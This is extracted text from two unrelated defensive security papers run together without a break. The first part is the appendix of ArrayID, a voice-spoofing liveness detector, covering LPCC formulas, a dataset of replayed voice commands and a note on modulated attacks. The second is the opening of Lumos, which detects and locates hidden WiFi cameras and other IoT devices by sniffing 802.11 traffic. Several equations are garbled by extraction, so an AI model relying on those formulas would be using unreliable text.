in Section 3.1. Recently, Zhang et al. [51] propose EarArray
to defend against ultrasonic-based attacks (e.g., dolphin at-
tacks [52]), but it is not designed to detect spoofing audios
with human voice frequency.

8 Conclusion

In this study, we propose a novel liveness detection system
ARRAYID for thwarting voice spoofing attacks without any
extra devices. We give a theoretical analysis of existing popu-
lar passive liveness detection schemes and propose a robust
liveness feature array fingerprint. This novel feature both en-
hances effectiveness and broadens the application scenarios
of passive liveness detection. ARRAYID is tested on both
our MALD dataset and another public dataset, and the experi-
mental results demonstrate ARRAYID is superior to existing
passive liveness detection schemes. Besides, we evaluate mul-
tiple factors and demonstrate the robustness of ARRAYID.
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A LPCC Generation Process

For audio signal yk(t) collected by microphone Mk, to calcu-
late the LPCC with the order p = 15, we firstly calculate the
Linear Prediction Coding (LPC) as a:

a = LPC(yk(t), p), (10)

where p is the order of LPC, and the collected LPC can be
represented as a = [a0,a1, . . . ,ap]. Then, for the LPCC coef-
ficient c = [c0,c1, · · · ,cp], we have c0 = ln(p), and for other
elments could be calculated as:

cn =−ai−
i

∑
k=1

(1− k
i
)akci−k. (11)

In this study, the order p is set to 15, and the LPCCs on
each channel are shown in Figure 16. In this figure, when M1
is the closest microphone, for a microphone array with six
channels, the opposite microphone is M4. The LPCCs from
these two channels are selected as FLPC in Section 4.3.3.

B Dataset Descriptions

First, the spoofing devices’ information including manufactur-
ing, model, and size is shown in Table 6. Second, for each user,
the data collection conditions including spoofing devices, dis-
tances, audio samples are summarized in Table 7. The dataset
is collected by Matrix Creator and Seeed Respeaker core V2,
which are shown in Figure 17. Finally, we list the 20 voice
commands used in our experiments as below:

(1) OK Google.
(2) Turn on Bluetooth.
(3) Record a video.
(4) Take a photo.
(5) Open music player.
(6) Set an alarm for 6:30 am.
(7) Remind me to buy coffee at 7 am.
(8) What is my schedule for tomorrow?
(9) Square root of 2105?
(10) Open browser.
(11) Decrease volume.
(12) Turn on flashlight.
(13) Set the volume to full.
(14) Mute the volume.
(15) What’s the definition of transmit?
(16) Call Pizza Hut.
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Figure 16: LPCC in each channel.

Figure 17: Microphone array: Matrix Creator and Seeed ReS-
peaker core V2.

(17) Call the nearest computer shop.
(18) Show me my messages.
(19) Translate please give me directions to Chinese.
(20) How do you say good night in Japanese?

C Experimental Details of Comparison with
Existing Schemes

When comparing ARRAYID with prior works, we strictly
follow the steps described in VOID [3] and CAFIELD [49].
In this section, we take VOID as an example to show that
ARRAYID is superior to existing schemes under various con-
ditions. More specifically, we add an experiment to explore
the impact of different classifier models on the liveness detec-
tion performance of ARRAYID and VOID.

We choose four different classification models: neural net-
work, support vector machine with radial basis function kernel
(SVM-RBF), k-Nearest Neighbor (kNN), decision tree. We
fine-tune the parameters of each model. The results are shown
in Table 8. It observed that VOID achieves the best accuracy
of 98.81% when selecting SVM-RBF, which is the same as
the paper [3]. These results prove VOID is effective in detect-
ing spoofing samples on ARRAYID dataset. However, it is
observed that the performance of ARRAYID is better than that
of VOID under every classifier model. Besides, when applying
these schemes on the third-party ReMasc Core dataset [18],
the performance of ARRAYID (i.e., the accuracy of 97.78%)
is still better than that of VOID (i.e., the accuracy of 84.37%).
In summary, compared with the mono channel-based scheme,
exploiting multi-channel features achieves superior perfor-
mance in the liveness detection task.
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Table 6: Loudspeaker used for generating spoofing attacks.
No. Type Manufacture Model Size (L*W*H in cm)
1 Loudspeaker Bose SoundLink Mini 5.6 x 18.0 x 5.1
2 Tablet Apple iPad 6 24.0 x 16.9 x 0.7
3 Tablet Apple iPad 9 24.0 × 16.9 × 0.7
4 Loudspeaker GGMM Ture 360 17.5 × 10.9 × 10.9
5 Smartphone Apple iPhone 8 Plus 15.8 x 7.8 x 0.7
6 Smartphone Apple iPhone 8 13.8 × 6.7 × 0.7
7 Smartphone Apple iPhone 6s 13.8 × 6.7 × 0.7
8 Smartphone Xiaomi MIX2 15.2 × 7.6 × 0.8
9 Loudspeaker Amazon Echo Dot (2nd Gen) 8.4 × 3.2 × 8.4

10 Laptop Apple MacBook Pro (2017) 30.4 × 21.2 × 1.5
11 Loudspeaker VicTsing SoundHot 12.7 x 12.2 x 5.6
12 Loudspeaker Ultimate Ears Megaboom 8.3 x 8.3 x 22.6
13 Loudspeaker Amazon Echo Plus (1st Gen) 23.4 x 8.4 x 8.4
14 Smartphone Xiaomi Mi 9 15.8 × 7.5 × 0.8

Table 7: Detailed information of MALD dataset.
User # # Authentic

Samples
# Spoofing
Samples

Distance (cm) Spoofing Devices

1, 7 1200 3600 60,120,180 SoundLink Mini, iPad 6, iPhone 8 Plus
2 600 1079 60,120,180 Ture360, iPhone 6s
3 533 904 60, 120, 180 Ture360, iPad9

4~6, 8 2305 6415 60, 120, 180 iPad9, Ture360, MIX2
9~12 3211 3198 60, 120,180, 240 Echo Plus (1st Gen)

13~18 1191 4577 180 iPad9, Mi 9, Echo Plus (1st Gen)
19 591 1767 60,120,180 iPhone 8, Echo Dot (2nd Gen), MacBook Pro (2017)
20 610 998 60, 120, 180 SoundHot, Megaboom

Table 8: Liveness detection performance under different clas-
sification models on the MALD dataset.

Classifier type Accuracy / EER (%)
ARRAYID Mono feature

Neural network 99.84 / 0.17 98.47 / 2.57
SVM-RBF 99.48 / 1.07 98.81 / 1.78

kNN 99.62 / 0.48 96.67 / 4.82
Decision tree 96.35 / 5.97 94.84 / 7.34

D Details of Modulated Attacks

When re-implementing the modulated attack and calculating
the detection accuracy of ARRAYID, we choose three spoof-
ing devices #3, #13 and #14 (i.e., iPad 9, Mi phone 9, and
Amazon Echo Plus) as spoofing devices and Respeaker micro-
phone array as the target device. To calculate the inverse filter
for each device, we follow the steps described in the modu-
lated attacks [48]. The frequency responses and their inverse
filters of three spoofing devices are shown in Figure 18.

Then, after applying calculated inverse filters into the au-
dios collected by the target device, we generate 1,990, 1,791,
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Figure 18: The amplitude responses of different spoofing
devices and their corresponding inverse filters.

and 1,994 modulated attack samples for Echo, iPad, and Mi
respectively.
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Abstract
Hidden IoT devices are increasingly being used to snoop

on users in hotel rooms or AirBnBs. We envision empowering
users entering such unfamiliar environments to identify and
locate (e.g., hidden camera behind plants) diverse hidden
devices (e.g., cameras, microphones, speakers) using only
their personal handhelds.

What makes this challenging is the limited network vis-
ibility and physical access that a user has in such unfamiliar
environments, coupled with the lack of specialized equipment.

This paper presents Lumos, a system that runs on com-
modity user devices (e.g., phone, laptop) and enables users to
identify and locate WiFi-connected hidden IoT devices and
visualize their presence using an augmented reality interface.
Lumos addresses key challenges in: (1) identifying diverse
devices using only coarse-grained wireless layer features,
without IP/DNS layer information and without knowledge
of the WiFi channel assignments of the hidden devices; and
(2) locating the identified IoT devices with respect to the
user using only phone sensors and wireless signal strength
measurements. We evaluated Lumos across 44 different IoT
devices spanning various types, models, and brands across
six different environments. Our results show that Lumos
can identify hidden devices with 95% accuracy and locate
them with a median error of 1.5m within 30 minutes in a
two-bedroom, 1000 sq. ft. apartment.

1 Introduction
Imagine a user walking into an unfamiliar environment such
as a hotel room or Airbnb. Nowadays, the user has to be wary
of wireless Internet-of-Things (IoT) devices being used to spy
on them. These devices could be installed by the owner or by
a previous guest. This threat is not just hypothetical; there are
numerous reported incidents where IoT surveillance devices
were used in Airbnbs [1–3, 5, 9, 11, 16], cruise ships [6], and
motels [10]. A 2019 survey of 2,000 American travelers
revealed that 58% were worried that their host had installed
hidden surveillance equipment, and 11% of respondents had
actually found a hidden camera in some past rental [13].

Ideally, we want to empower users so that as they enter
an unfamiliar space, they can run an app on their personal

handheld (e.g., phone or tablet). This app would report a list
of detected and identified devices and their corresponding
locations. “Detect,” here, means knowing that there is some
device (i.e., binary notification), “identify” entails knowing
what type of device it is (e.g., type=camera), and “localize”
entails knowing the device’s location in the physical space
(e.g., behind the plants). While cameras in particular are im-
minent privacy threats, in general we want to detect/identify
and localize diverse hidden IoT devices, as these could also
be potential threats for tracking users (e.g., [21, 25, 33, 66]).

This problem is challenging due to two practical factors.
First, users have limited visibility and control inside such
an unfamiliar environment with their little knowledge of the
devices and their wireless configurations; e.g., they cannot
tap into network interfaces at wireless access points or
instrument the environment. Second, users typically only
have personal (commodity) handhelds and do not carry
expensive hardware or specialized sensing equipment [15,41].
Given our requirements and these constraints, existing
methods are not sufficient for our context (see Table 1).
For example, today’s “spy-tech” solutions rely on manual
and thorough scanning of the environment [4, 7, 8, 15, 18].
Other efforts focus exclusively on camera-specific effects
(e.g., motion or light triggering) and do not generalize to
other, more diverse hidden IoT devices [26, 51]. Similarly,
network-based device fingerprinting solutions [45, 48, 53]
rely on privileged access to the host network and fail in the
presence of limited network visibility. Finally, many of these
solutions cannot localize devices, and/or would need separate
instrumentation of the environment [37, 59].

This paper presents Lumos, a system that enables a user to
identify and locate IoT devices in an unfamiliar environment
using a commodity personal device. As a starting point, we
focus on 802.11 WiFi connected devices, which represent
a significant fraction of the IoT device market today [58]. At
a high level, Lumos sniffs and collects encrypted wireless
packets over the air (aka 802.11) to detect and identify the
hidden devices. It then predicts the location of each identified
device with respect to the user as they walk around the
perimeter of the space. Our design makes three contributions:
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(a) Overlaying AR object (b) True location of the
camera

Figure 1: A snapshot of Lumos identifying a device and
visualizing the location with ARKit

Compatible with
Approach Personal

Hand-
helds

Limited
Network
Access

Diverse
Devices

Localization
Ability

Bug Finder [4, 15]
5 X 5 X

Camera Detector
[7, 8, 18] X X 5 X

mmWave Sensing
(E-Eye) [41] 5 X X 5

Network Traffic at
Router [45,48,53] X 5 X 5

Camera Detection
w 802.11 Packets
[26, 42]

X X 5 5

Lumos
X X X X

Table 1: Comparing existing approaches vs. Lumos

Identifying diverse devices with limited features: Prior
work associates IoT devices with signatures using higher-
layer information IP, DNS, port numbers, and NTP protocols
(e.g., [45,53]). However, due to limited network visibility, we
can only observe 802.11 headers with coarse attributes. To
address these issues, we design a systematic machine learning
(ML) framework, which considers a broad observable feature
set, rather than handcrafted features [45, 53], both temporally
and across packet header attributes. To tackle device diversity,
we use multiple timescales in feature engineering to extract
device-specific attributes. This allows us to generalize across
a large set of device types from different vendors and with
different hardware settings.

Data acquisition with limited knowledge: Even within a
single protocol like 802.11, there is a large set of channels
that the hidden IoT devices may use. In an unfamiliar setting,
we have no knowledge of when, on what channels, and
for how long each device is transmitting. Prior spectrum
sensing approaches [50] and naive strategies for sequentially
sampling the various channels are slow and miss capturing

devices. Lumos addresses this challenge with a novel
reformulation of the spectrum sensing problem to learn a
coarse transmission pattern of each device over time and uses
this to inform the channel sensing strategy.

Infrastructure-free device localization: Classical wireless
localization systems rely on knowledge of the floor plan or
spatial geometry, or require anchor points (e.g., [29, 54, 59]),
which are infeasible in our problem setting. Lumos addresses
these challenges by leveraging mobile phone sensors and
the correlation of the user’s motion with variations in signal
strength. By requesting the user to take a short walk around
the perimeter of the space, we can estimate the location of
the IoT device from sparse measurements.

We implemented Lumos on two platforms, a MacBook and
an iPhone, and combined it with an augmented reality (AR)
feature that overlays the device type on the estimated device
location relative to the user (Figure 1). This provides users
with a virtual world view of the physical space. We proto-
typed Lumos using a laptop (2018 MacBook Pro) and an Intel
RealSense Tracking Camera T265. The T265 acts in place of
the visual inertial odometry (VIO) provided by augmented re-
ality frameworks like AR Kit/Core [20,32] on mobile phones.
Since promiscuous WiFi access is currently disabled on mo-
bile phones, we implemented Lumos as an iOS app running
on an iPhone paired with a Raspberry Pi (Rpi) over Bluetooth.

We evaluate Lumos in six different environments and
across a wide spectrum of IoT device types, for a total of 44
devices. Our evaluation shows that we can accurately identify
device types by 95% in under 30 minutes, and the devices
are then localized with a median localization accuracy of
1.5m with only one walk around the perimeter of each
space of around 1000 sq. ft. We have released our code on
https://bit.ly/lumos-code and have uploaded a demo
of our system at https://youtu.be/QwMXiyn-e28.

2 Problem Setting, Threat Model, and Scope
Our work deals with an attacker who has placed IoT devices
to spy on users in an unfamiliar environment such as an
Airbnb or hotel room. Figure 2 shows an overview of the
key actors and resources. Our setting consists of two actors:
an Attacker and a User. An attacker is either the host or a
previous guest who wants to use IoT devices to spy on a
user/guest (in an Airbnb or a hotel room) who has entered
this unfamiliar environment. The user wants to identify and
localize these hidden IoT devices.

These two actors interact with three key resources: Physical
Environment, IoT Devices, and the Wireless Network. In our
setting, the Environment could be a single room in a hotel or
a complex multi-room setup in an Airbnb. IoT Devices could
be of various types, such as cameras, speakers, plugs, vacuum
cleaners, and more. We focus on devices that communicate
over WiFi, as this is the most prevalent method of wireless
communication. These devices are connected to the Internet
via an 802.11 Wireless Network controlled by the attacker.
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Figure 2: System model with the user, the attacker, and
hidden IoT devices in an unfamiliar environment

Attacker Capabilities: Next, we formulate the adversary’s
capabilities and constraints.
• Physical Environment: The attacker has complete

control of the environment ahead of time to modify the
environment and to install and hide IoT devices.

• IoT Devices: The attacker purchases and places off-the-
shelf wireless IoT devices to spy on the User. They can
also control various device settings such as resolution,
sensitivity, etc., through device APIs. Similar to prior
work [26, 42, 45, 48, 53], we assume that an attacker does
not alter the fundamental behavior of these devices, such
as hacking the firmware, changing the network protocol,
or changing wireless transmission behavior. However,
the attacker can physically masquerade devices; e.g., a
camera hidden inside a thermostat [5] or a smart electric
plug that doubles up as a camera [14]).

• Wireless Network: The attacker has complete access
to the 802.11 wireless network and access point. They
can take a variety of measures to hide the IoT devices.
For instance, they can use a separate WiFi network for
the IoT devices and provide the user access to a separate
guest network. Furthermore, they can assign devices to
different 802.11 wireless channels, enable encryption
(e.g., WPA2/WPA3), and hide the SSID of the network(s)
the IoT devices are connected to.

User Capabilities and Constraints: We assume the user
has access to a personal device such as a mobile phone, tablet,
or laptop, and no other equipment. We assume that they can
enable monitor/promiscuous mode on the personal device
for wireless packet sniffing.
• Physical Environment: The users have access to the

physical space to search and walk around, but they can
not instrument new hardware/equipment in the physical
environment.

• IoT Devices: The user does not have any knowledge of
hidden IoT devices. They don’t know how many devices
are in this unfamiliar environment, what types of devices
are installed, the access point and wireless channel(s) they

are using, or where they are located.
• Wireless Network: The user has limited access to the

wireless network; e.g., given access to a guest network
which could be different from the network(s) that IoT de-
vices are operating on. They can still sniff encrypted broad-
cast WiFi 802.11 packets (across all channels) over the air.

3 System overview
We envision that a user enters an unfamiliar space and runs
the Lumos app on their phone or laptop to identify hidden IoT
devices. The Lumos app can run in the background, while
the phone is sitting in a corner collecting raw wireless (i.e.,
802.11) packets. At any point, the user can request a report,
and Lumos will provide the list of identified devices so far.
Each identified device is depicted using an augmented reality
frontend to assist the user in finding the hidden IoT devices.

Lumos consists of three main modules:
• Device Fingerprinting Module: There are two main

challenges we need to address. First, unlike prior work,
we only have access to MAC-layer information based
on 802.11 headers. Second, we need to handle a diverse
set of devices with different transmission rates. Section 4
explains how we address these challenges by developing
a systematic machine learning approach.

• Data Collection Module: For fingerprinting to work
well, we need a sufficient number of packets from all
devices. However, sniffing the packets transmitted by
each hidden IoT device requires knowing their associated
wireless channels. Unfortunately, this information is not
available in a limited access environment; e.g., the IoT
devices can operate on a different network than the guest
wireless network. We design a device-aware channel
sensing approach, explained in Section 5, that learns the
traffic pattern of each device overtime to decide when,
and for how long, to sense each wireless channel.

• Localization Module: At first glance, this seems similar
to classical wireless localization [59]. Unfortunately, we
cannot directly use these as they require infrastructure
instrumentation [29, 59, 64, 65], prior knowledge of the
floor-plan [22, 27, 39, 46, 60], or fine-grained channel
measurements [24, 37, 44, 54, 56, 62]. To address these
limitations, Lumos fuses signal strength measurements
that are available in 802.11 packets with VIO (Visual
Inertial Odometry) traces available in mobile phones by
asking the user to take a short walk around the perimeter
of the space. Section 6 elaborates on how Lumos locates
devices from sparse measurements.

End to End View: Figure 3 shows an end-to-end view of
Lumos. First, we use an offline training phase in Lumos’
fingerprinting module for common IoT devices. When a user
enters a new unfamiliar space, Lumos runs a client agent (e.g.,
on the phone) which sniffs the ongoing 802.11 traffic. The
associated packets to each device are then inspected through
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Figure 3: System overview with three main modules

the fingerprinting module to identify these devices. Since the
user has no information about the wireless channel on which
these devices are operating, Lumos uses a device-aware
channel sensing mechanism to decide what channel to sniff,
when, and for how long. Lastly, Lumos uses an RSSI-VIO
based localization technique to estimate the coarse location of
each identified device with respect to the user by requesting
the user to walk once around the perimeter of the space.

4 Device Fingerprinting Module
Previous efforts have identified network layer features from
IP, DNS, and NTP packets to be highly correlated with the
IoT device type [45,48,53]. However, they assume privileged
access to the router and network layer headers to obtain
this information. In an unfamiliar environment with limited
access, encrypted wireless 802.11 headers are the only coarse
attributes available to the user’s personal device. This is
even more problematic when dealing with a diverse set
of IoT devices with different transmission behaviors and
communication protocols.

To address these issues, we design a systematic machine
learning framework that extracts the effective features for each
device type by considering the broadest feature set temporally
and across the available packet header attributes. In addition,
our proposed framework automatically tunes the timescale of
the aggregate features (e.g., mean, max, std, etc.) based on the
transmission rate of each device. As a simplified starting point,
we first start with a single channel scenario, where all IoT
devices are operating on the same channel. In Section 5, we
relax this assumption and generalize our proposed algorithm
across multiple unknown wireless channels and will explain
how to integrate the classification module with the data ac-
quisition for the multi-channel operation of IoT devices.

Lumos’ classification engine receives the wireless 802.11
packets transmitted to or from all available IoT devices as
the input. Then, it groups the collected packets based on
their MAC addresses and predicts the device type for each
MAC address by using a systematic feature engineering
and classification method. Next, we explain how Lumos
extracts relevant attributes from 802.11 packets, and how

Figure 4: The important features are device-specific, due
to the diversity of IoT devices and their heterogeneous
traffic patterns

these attributes are aggregated over time to account for the
diversity of devices. Finally, we explain Lumos’ classifier.

4.1 Feature Engineering
We begin by discussing the available 802.11 layer features
we can use for fingerprinting and how we can select them.

Available Features: Figure 5 shows a sample 802.11
wireless packet. The packet contains metadata attributes,
such as packet inter-arrival times and packet sizes, which can
serve as the basis for defining features for fingerprinting.

Some prior efforts have handcrafted features for device fin-
gerprinting (e.g., [61]). Many of these features, such as packet
length, could still be extracted at the 802.11 layer. If we take
a look at Figure 4, we can see that this feature is still useful to
distinguish between various IoT devices. We also have access
to more classes of features such as packet subtype which are
specific to the 802.11 protocol. For example, the subtype at-
tribute is used in Nest doorbells for informing the access point
that the device is going into sleep mode, while this attribute is
used differently in Nest cameras. Handcrafting these features
is a challenge given the high heterogeneity of IoT devices.

Hence, instead of defining fixed handcrafted features,
we automatically extract relevant attributes per device. To
this end, we start by collecting all possible 802.11 packet
headers and then extract all attributes from each packet. This
results in a total of 125 (max) attributes. However, some of
these attributes have the same value across different devices
(e.g., AP-specific attributes) and do not carry any useful
information. We discard these attributes to simplify the
processing and prevent over-fitting. In our model, after this
pruning step, 52 out of 125 attributes remain.

Multi-Time Resolution Aggregation: Given the set of
attributes, we then construct the feature set by considering dif-
ferent temporal aggregations of each attribute. Specifically, we
define a sliding window of time and apply different aggregate
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Figure 5: Lumos uses multiple time resolutions to define
features for capturing device behaviors

functions on each raw attribute. These aggregate functions
include mean, standard deviation, median, max and min, sum,
entropy, histogram (normalized frequency count of each bin),
and the number of unique values in a given time window.1

A key challenge, however, is that using a fixed size of time
window does not generalize well across IoT devices with
varying packet transmission rates. On one end, a very small
aggregation window is prone to noise, while on the other end,
a very large aggregation window will dilute the variations,
which is a classical bias-variance tradeoff in ML. Ideally, we
want a small aggregation window for high rate transmission
devices, but a large aggregation window for a low rate
transmitting device. To achieve this goal, we design a multiple
timescales scheme to pick a time window suitable for each de-
vice’s transmission pattern. As shown in Figure 5, we define
a set of time windows with different lengths at a given time
t and then apply each aggregate function on all defined time
windows. The feature vector at time t is the concatenation
of all aggregate functions applied at all time windows.
Feature Post-Processing: After computing the features for
each time window, we apply two post-processing steps to
prepare the data for ML training. First, to handle the diversity
of feature value ranges, which can adversely affect the train-
ing,2 we standardize the features [17] while maintaining the
distribution of values. Second, we remove correlated features
to avoid over-fitting in the training phase. Specifically, we use
two feature reduction techniques: (1) Selecting the top ten fea-
tures that have the highest mutual information score [57], and
(2) We compute the cross-correlation of features, and for those
features that have a higher than 95% correlation score, we
only keep one of the correlated features and drop the others.

4.2 Model Training and Inference
Training: After post-processing the features, the next step is
to finally train a ML model. There are typically two types of
classifiers that can be trained for such a problem: multi-class

1Some previous work defines aggregation window in terms of the number
of packets. However, this is not extendable to diverse devices, especially if
they do not transmit often [48].

2For example, a packet size could change from 64 to 1000, but a packet
type only takes discrete finite values of either 0 or 1.

and one-vs-rest. A multi-class classifier learns a single classi-
fier for all the classes, while one-vs-rest learns one classifier
per class. Due to the high diversity of IoT devices, we select
a one-vs-rest classifier. The intuition is that some IoT devices
transmit much more frequently than others, which leads to
an extreme class imbalance, both during training and testing.
While multi-class classifiers are prone to be biased towards
the majority class, the one-vs-rest classifier can independently
learn each device. In addition, the relevant and informative
features for each device type could be different, so picking a
set of globally relevant features for all devices is a sub-optimal
choice. Instead, we define the one-vs-rest classifier to learn
important features on a per device basis. As such, we train a
binary classifier per class. We picked XGBoost as our ML clas-
sifier, as it had the highest validation accuracy and is also fairly
robust to high dimensional data. We trained our classifier on
the final set of features and define the following device types
as the classes: Smart Camera, Speaker, TV, Plug, Security
Systems, Vacuum, Kitchen Appliances, Bulb, and Doorbell.
Inference: During inference, we sniff packets on a channel
and group them by their MAC addresses. For a device, let
us denote P as the set of sniffed packets for that device.
Then, we define the center of the time window as t, which
corresponds to packet arrival times and computes the feature
vector Ft based on the algorithm explained in Algorithm
1. Next, Lumos applies all the K classifiers corresponding
to each one-vs-rest device type to Ft and computes the
probability of predictions as

Lt,k =Mk(Ft,i), ∀ k=1:K (1)

where Mk is the one-vs-rest classifier for device type k and Lt,k
is the probability of predicting the type of device as k at time
t. We select the final label of the feature vector Ft as Predt

Predt =argmaxkLt,k (2)

Lumos then performs a majority voting for Predt ’s in a given
scanning period to assign a single label to the device. The
same process is repeated for the sniffed packets of other
available devices (every unique MAC address).

5 Device-Aware Channel Sensing
In the previous section, we presented the fingerprinting
module under a simplified assumption where all the devices
operate on a single known channel. In practice, however,
we need Lumos to work in an environment where the IoT
devices are possibly on different wireless networks (shown in
Figure 6) spread over 30 channels across 2.4 and 5GHz WiFi
frequency ranges. Thus, we need a mechanism to monitor
various channels and “hop” across them in order to collect
wireless data from all IoT devices for the fingerprinting step.
However, note that we have no knowledge of what channel,
when, where, and for how long each device is transmitting.

This problem, at a high level, is similar to the spectrum
sensing [50,63] idea in wireless networks where the goal is to

USENIX Association 31st USENIX Security Symposium    1099



Figure 6: An example of devices spread across multiple
channels. Lumos uses a channel sensing strategy to
minimize the time needed to ensure it logs a sufficient
number of packets for each device.

sense as many packets as possible across wireless spectrum
within a given time budget. In spectrum sensing, however, the
objective is to maximize the total number of received packets
across different wireless channels. However, our problem is
different—we need to capture a sufficient number of packets
from each active device to identify its device type.

In the rest of this section, we first start with a hindsight
optimal formulation which assumes that we know the traffic
behavior of each device ahead of time. While this assumption
is not practical, it allows us to formally define the problem
before we relax this assumption.

Hindsight-Optimal Problem Formulation: We consider
a setting where we chunk time into epochs, and in each
epoch, our channel sniffer can sense at most one channel.3

Suppose we have a total time budget of T epochs and C
channels and M devices assigned to various channels. Our
goal is to determine a sensing schedule to cover as many
devices as possible. For any given time epoch, let sense j,t
( j ∈ [1,C];t ∈ [1,T ]) be a binary decision variable denoting
if channel j should be sensed at time t.

Note that in order to accurately fingerprint IoT devices, we
need to collect a sufficient number of packets from each IoT
device, so that the ML models have accurate features. Let
NumThresh denote the sensing threshold determined based
on the requirements of the classification engine to correctly
identify the types of devices. Let numi denote the actual
number of packets sensed from a device i given our choice of
{sense j,t}. This depends on how active the device is. To this
end, we assume that we know the activity matrix (a constant
input) Ai, j,t denoting if device i is active on channel j at time t.
Let coveredi be an indicator binary variable denoting if device
i has a sufficient number of packets; i.e., numi≥NumThresh.

Formally, the hindsight-optimal problem formulation can
be written as an Integer Linear Program (ILP) as follows:

3More powerful SDR hardware [30] can sense in parallel but is not a
commodity handheld solution.

∀ j,t : Σ
j
sense j,t <=1 (3)

∀i : numi= Σ
j,t

Ai, j,t×sense j,t (4)

coveredi=

{
1, if numi>=NumThresh
0, otherwise

(5)

∀ j∈ [1,C],t∈ [1,T ] :sense j,t ∈{0,1} (6)
∀i∈ [1,M] :coveredi∈{0,1} (7)
∀i∈ [1,M] :numi∈ Integer (8)

Here, Eq 3 captures that we can sense at most one
channel in any given time epoch. Eq 4 captures the total
number of packets sensed per device, and Eq 5 captures
that each device is successfully sensed if we have more than
NumThresh packets. The last three equations simply capture
the constraints on the variables.

This hindsight optimization problem can be solved using
an ILP solver [19, 47], if the activity matrix is known; i.e., if
we already know when each device transmits a packet on its
assigned channel. In our setting, however, the activity matrix
is unknown and we need to solve it without this information.
Next, we explain how Lumos predicts the activity matrix of
each device based on the coarse collected data.

Prior Work on Spectrum Sensing and Limitations: One
approach to solve the above challenge of the missing activity
matrix is to view this as a multi-armed bandit based problem,
as done in SpecInsight [50]. Specifically, to estimate the next
channel number and the time of hopping, they formulate
the problem as a multi-armed bandit game [23] and use the
ε-greedy strategy [55] as the solution, wherein it picks a
random channel with probability ε and picks the channel with
maximum reward with probability (1−ε). The choice of ε

controls how much to rely on the learned information and
is set to 0.1. To define the reward function, SpecInsight uses
an indication of how close we are to receiving a packet from
the active devices. So, for a device d at time t, the reward
function is defined as

Rd(t)=max(1−
T+µi∗d(t−T )

/
µie−t

µi
)

where T is the last time a packet was observed, and µi
represents the mean packet inter-arrival time for the device.
This reward function assumes that the next packet will arrive
at time T +µ, T +2µ, and so on. At time t, the next packet
is expected to arrive at time T+µ∗d(t−T )

/
µe. The value of

ε controls how much to rely on mean packet inter-arrival esti-
mates. This approach has several issues that make it ill-suited
for our problem. First, the proposed reward function tries to
capture all packets from every device. A high transmission
rate device has lower packet inter-arrival times, and as a
result, high reward value. This results in missing packets from
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(a) Nest Camera
(high traffic)

(b) WiZ Smart Bulb 5
(low traffic)

(c) WiZ Smart Bulb 2
(irregular traffic)

(d) WiZ Smart Bulb 2
(curve fitting output)

Figure 7: While the correlation of maximum measured RSSI and VIO is sufficient to accurately locate high transmission
devices, our curve-fitting approach is more robust for IoT devices with irregular and low rates of traffic

a low transmission rate device as it is still trying to collect
every packet from a high transmission rate device. Second, it
calculates the mean inter-arrival time from the previously cap-
tured packets. However, some packets transmitted by a device
may be missed while sniffing in another channel, resulting
in inaccurate estimation of averaged inter-arrival time. This
penalty is huge for low transmission devices, as we now need
to wait even longer to capture sufficient packets. For example,
if a device transmits packets at time t = 1, 3, 5, 7 . . . seconds
and we captured packets at time 1 and 7 seconds, our estimate
of mean packet inter-arrival time would be 6 seconds instead
of the actual 2 seconds. To capture the same number of pack-
ets, it would take 3x longer. Moreover, there are more than
30 possible wireless channels, but a majority of them might
not be active in the vicinity of a user, so it ends up wasting
a lot of time sensing traffic on inactive wireless channels.

Our Approach: We address these shortcomings as follows.
First, to avoid wasting time sensing inactive channels, Lumos
performs a quick round robin iteration across all wireless
channels to discover the active channels. We can discover
the active channels based on whether we sense any beacon
frames. The key insight is that the presence of an IoT device
in a channel corresponds to the presence of an active access
point to communicate with, which is periodically transmitting
beacon frames. Therefore, a simple round robin channel
hopping is sufficient to find the subset of active channels.

Next, to make our scheme unbiased towards low trans-
mission rate devices, we modify the problem formulation to
make reward 0 for a device if we have sensed enough packets
from that device. It enables Lumos to handle IoT devices
with diverse transmission behaviors. For high transmission
rate devices, we can sense a sufficient number of packets very
quickly and its reward is reduced to 0 so that Lumos can now
focus on capturing packets from low transmission devices.

To address the issue of incorrect packet arrival time

estimates, Lumos learns the inter-arrival time from a coarse
estimate of its device type. It uses the classification engine
to determine the device type using a small number of packets
collected up to that time instant. Since this prediction of
device type is based on very few packets, the classifier is
prone to errors. Our empirical studies show that the correct
device type is usually within the top three predictions. For
each device, we make a prediction of its device type and
fetch the corresponding mean inter-arrival times of the top
three predictions directly from the training data as shown
in Algorithm 2. At a first glance, the formulation might
look circular, as we are trying to develop channel sensing to
capture data for device fingerprinting while at the same time
using fingerprinting for our channel sensing scheme. This is
possible because even fewer packets from a device are good
enough for coarse fingerprinting (correct device type in top
three predictions). Currently, we pick a single packet inter-
arrival time estimate for each device type, but this could easily
be modified to pick multiple inter-arrival time estimates.

Since in our scenario we are using a coarse classifier and
its predictions might be inaccurate, we take the maximum of
the above reward function to maximize the number of packets
captured under uncertainty. After switching to a channel,
Lumos spends a fixed time (10 seconds) on that channel. We
set Rd for a device to be 0 when we have sensed more than
N packets (e.g., 50 packets) from a device. In addition, the
reward for a channel c is defined as

Rc(t)=max(Rd), if Rd exists
=RAND(0,1), otherwise

where
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Rd(t)=0, if sensed more than N packets from device d

=max(1−
T+µi∗d(t−T )

/
µie−t

µi
), otherwise

6 Localization
Recall that in addition to detecting and identifying hidden
IoT devices, we need to locate the detected devices to provide
some situational awareness to the user. RF-based source local-
ization is an extremely well-studied problem with a number
of techniques described below. The main contribution of our
work is to recognize the potential of using highly accurate
relative tracking of mobile phones through recent advances in
Visual Inertial Odometry (VIO) in combination with sparse
RSSI sampling. Due to the logarithmic relationship between
RSSI and distance, it is possible to accurately localize a
source when the receiver is in close proximity. This simple
but effective technique allows us to rapidly estimate and
visualize the position of RF sources in augmented reality.

Intuitively, we combine the RSSI measurements with the
relative user position determined by VIO on smartphones.
RSSI provides a coarse estimate of the distance between
each IoT device and the user’s phone, while VIO determines
the change in position and orientation of the user over time
by integrating the IMU readings with camera frames. At a
high level, we can take multiple measurements of the signal
strengths from different distances to the devices by asking
the user to walk around the environment. While this is a
sparse set of measurements, it is sufficiently spatially diverse
to locate hidden IoT devices within 1 meter of accuracy.

As the user walks into the space, Lumos collects the
(x,y,RSSI) samples, where x and y are relative to the initial
point where the user starts walking. Figure 7 demonstrates
the measured samples for three different IoT devices as the
user walks around a two-bedroom house (the true location of
each device is marked in red, and the colored points represent
the RSSI values). We can see that as the user walks closer
to each device, the RSSI values corresponding to those data
points increase and then reduce as she walks away from
the device (shown in Figure 7). Lumos leverages the spatial
measurements of RSSI values and their variations to estimate
the location of each device.

